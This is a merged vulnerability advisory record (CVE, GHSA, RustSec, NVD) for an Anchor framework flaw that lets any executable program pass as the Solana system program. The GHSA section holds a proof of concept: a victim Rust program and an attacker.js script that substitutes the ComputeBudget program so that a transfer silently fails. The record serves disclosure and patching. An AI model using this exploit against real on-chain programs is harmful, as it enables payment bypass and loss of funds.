{"id":"CVE-2026-45137","aliases":["CVE-2026-45137","GHSA-c6rc-8jpp-2fgc","RUSTSEC-2026-0144"],"related":[],"kind":"vulnerability","state":"published","title":"Anchor: Program<'info, System> is not properly validated","summary":"Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.  This vulnerability is fixed in 1.0.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.  This vulnerability is fixed in 1.0.2.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions.\n\n### Details\nIn the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.\n\nhttps://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163\n\n### PoC\nBuild and deploy the following anchor program:\n```rs\n/// victim.rs\n/// an anchor program that uses the system program in some way.\n\nuse anchor_lang::prelude::*;\nuse anchor_lang::prelude::program::invoke;\nuse anchor_lang::prelude::instruction::Instruction;\n\n#[derive(Accounts)]\npub struct Initialize<'info> {\n    #[account(mut)]\n    pub sender: Signer<'info>,\n    #[account(mut)]\n    pub recipient: SystemAccount<'info>,\n    // the \"System\" part here should ensure that callers can only pass the system program.\n    pub system_program: Program<'info, System>,\n}\n\npub fn handler(ctx: Context<Initialize>, amount: u64) -> Result<()> {\n    // this should be the system program id, but due to an issue in the validation logic, this could be any program id.\n    msg!(\"System program: {:?}\", ctx.accounts.system_program.key());\n\n    // construct a transfer instruction\n    // note that not only raw instructions, but also any other instruction\n    // builders that properly forward the passed in program id are vulnerable.\n    let mut data = Vec::new();\n    data.extend_from_slice(&[2, 0, 0, 0]);  // transfer discriminator\n    data.extend_from_slice(&amount.to_le_bytes());  // amount\n\n    let accounts = vec![\n        AccountMeta::new(ctx.accounts.sender.key(), true),\n        AccountMeta::new(ctx.accounts.recipient.key(), false),\n    ];\n\n    let ix = Instruction {\n        program_id: ctx.accounts.system_program.key(),\n        accounts,\n        data,\n    };\n\n    let account_infos = [\n        ctx.accounts.sender.to_account_info(),\n        ctx.accounts.recipient.to_account_info(),\n        ctx.accounts.system_program.to_account_info(),\n    ];\n\n    // invoke the transfer instruction\n    invoke(&ix, &account_infos)?;\n\n    Ok(())\n}\n```\n\nRun the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js\n\n```js\n/// attacker.js\n/// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen\n/// while the victim program thinks it has happened.\n\nimport { Connection, Keypair, PublicKey, SystemProgram } from \"@solana/web3.js\";\nimport { AnchorProvider, Program, Wallet } from \"@coral-xyz/anchor\";\nimport BN from \"bn.js\";\nimport fs from \"fs\";\nimport idl from \"./victim_idl.json\" with { type: \"json\" };  // the idl of the victim program, generated by `anchor build`\n\nconst keypair = Keypair.generate();\nconst receiver = Keypair.generate();\n\nconst connection = new Connection(\"http://localhost:8899\", \"confirmed\");\nconst provider = new AnchorProvider(connection, new Wallet(keypair), {});\n\nasync function airdrop(publicKey, amount) {\n    const tx = await connection.requestAirdrop(publicKey, amount);\n    await connection.confirmTransaction(tx);\n    console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`);\n}\n\nasync function printBalance(publicKey) {\n    const balance = await connection.getBalance(publicKey);\n    console.log(`Balance of ${publicKey.toBase58()}: ${balance} lamports`);\n}\n\nawait airdrop(keypair.publicKey, 1e9);\nawait airdrop(receiver.publicKey, 1e9);\n\nconst program = new Program(idl, provider);\n\nconst tx = await program.methods\n    .initialize(new BN(1e9 / 2))\n    .accounts({\n        sender: keypair.publicKey,\n        recipient: receiver.publicKey,\n        // we pass the compute budget program instead of the system program\n        // the victim will call the compute budget program thinking it's the system program, and the transfer will never happen.\n        // if we comment this out, anchor will pass in the system program and the transfer will succeed\n        systemProgram: new PublicKey(\"ComputeBudget111111111111111111111111111111\"),\n    })\n    .rpc();\n\nconsole.log(\"Transaction signature:\", tx);\nawait connection.confirmTransaction(tx);\n\n// Check balances\nawait printBalance(keypair.publicKey);\nawait printBalance(receiver.publicKey);\n\n/*\n\nexpected balances:\n499995000\n1500000000\n\nactual balances:\n999995000\n1000000000\n\n*/\n```\n\nInspect the solana validator logs and javascript output, you'll see the program did not transfer any lamports.\n\nIf you uncomment the systemProgram account override in the javascript code and rerun it, you'll see the victim program behaves as expected and lamports are actually transferred.\n\n### Impact\nThis is an account validation bypass, impacting on-chain programs that rely on the system program. It allows for potential CPI and payment bypasses, amongst other issues such as accounts being created through CPI that should be owned by system program now being owned by an attacker controlled program.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Affected versions of `anchor-lang` did not properly validate accounts declared\nas `Program<'info, System>`. The generic `Program<T>` validation path used\n`Pubkey::default()` as a sentinel to decide whether any executable program\nshould be accepted. Since the system program id is also the default pubkey,\n`Program<'info, System>` was treated like the untyped `Program<'info>` case and\naccepted any executable program account.\n\nPrograms commonly rely on `Program<'info, System>` to ensure that CPI calls and\ninstruction builders target the real Solana system program. With the faulty\nvalidation, an attacker could supply another executable program where the system\nprogram was expected, causing downstream logic to make false assumptions about\npayments, account creation, or other system-program CPIs.\n\nThe issue was fixed in `anchor-lang` 1.0.2 by separating the typed\n`Program<T>` validation path from the untyped `Program<()>` path, so\n`Program<'info, System>` now checks the provided account key against the system\nprogram id. Users should upgrade to `anchor-lang` 1.0.2 or later.","format":"markdown","source":"rustsec"},{"lang":"es","text":"Anchor es un framework que proporciona varias herramientas convenientes para desarrolladores para escribir programas Solana. Desde 1.0.0 hasta antes de 1.0.2, un error lógico hace que los programas anchor acepten cualquier ID de programa cuando se requiere el ID del programa del sistema, causando suposiciones falsas que resultan en potencial CPI arbitrario en programas que invocan instrucciones del programa del sistema. En la implementación TryFrom<&’a AccountInfo<’a>> para Program<’a, T>, el ID de T se compara con Pubkey::default() para verificar si anchor debería permitir cualquier cuenta ejecutable, o una cuenta específica, porque cuando no se suministra T, T por defecto es (), que implementa Id::id() devolviendo Pubkey::default(). Esto resulta en que T = () y T = System (que tiene Pubkey::default() como ID) tengan el mismo comportamiento, ambos permiten cualquier cuenta ejecutable. Los programas construidos con anchor asumen que el tiempo de ejecución de anchor verifica que los programas pasados de tipo Program<’a, System> son de hecho el programa del sistema. Esta suposición falsa puede llevar a CPI arbitrario o a la elusión de pagos cuando los programas intentan realizar llamadas CPI al programa del sistema utilizando el programa del sistema pasado, debido al hecho de que el atacante puede pasar cualquier programa en lugar del programa del sistema. Esta vulnerabilidad se corrige en 1.0.2.","source":"nvd"}],"published":"2026-05-07T12:00:00.000Z","modified":"2026-10-26T12:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2,"rating":"HIGH"},{"scorer":"RustSec Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2,"rating":"HIGH"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"version":">= 1.0.0, < 1.0.2","status":"affected"}],"vendor":"solana-foundation","product":"anchor","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"1.0.0","status":"affected","fixed":"1.0.2"}],"ecosystem":"crates.io","package":"anchor-lang","purl":"pkg:cargo/anchor-lang","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.0.0","status":"affected","fixed":"1.0.2"}],"ecosystem":"crates.io","package":"anchor-lang","purl":"pkg:cargo/anchor-lang","source":"rustsec"},{"ranges":[{"status":"affected","introduced":"1.0.0","fixed":"1.0.2"}],"vendor":"anchor-lang","product":"anchor","cpe":"cpe:2.3:a:anchor-lang:anchor:*:*:*:*:*:rust:*:*","source":"nvd"}],"references":[{"url":"https://github.com/otter-sec/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/solana-foundation/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc","tags":["web"],"sources":["ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45137","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/solana-foundation/anchor","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/solana-foundation/anchor/releases/tag/v1.0.2","tags":["web"],"sources":["ghsa","rustsec"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2026-0144.html","tags":["advisory","web"],"sources":["ghsa","rustsec"]},{"url":"https://crates.io/crates/anchor-lang","tags":["package"],"sources":["rustsec"]},{"url":"https://github.com/solana-foundation/anchor/commit/3eb1fb0427d4fed0e944b627aef76db651a93aab","tags":["web"],"sources":["rustsec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-28T13:04:41.218Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45137","url":"https://www.cve.org/CVERecord?id=CVE-2026-45137","licence":"CVE Terms of Use","modified":"2026-05-28T13:05:18.637Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-c6rc-8jpp-2fgc","url":"https://github.com/advisories/GHSA-c6rc-8jpp-2fgc","licence":"CC-BY-4.0","modified":"2026-06-09T00:00:17.857Z"},{"source":"rustsec","name":"RustSec Advisory Database","id":"RUSTSEC-2026-0144","url":"https://rustsec.org/advisories/RUSTSEC-2026-0144.html","licence":"CC0-1.0","modified":"2026-10-12T18:00:13.559Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45137","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45137","licence":"Public domain","modified":"2026-10-26T12:10:00.130Z"}],"updatedAt":"2026-11-25T22:59:22.692Z","epss":{"score":0.0028,"percentile":0.22036,"date":"2026-12-01T12:00:22.000Z"}}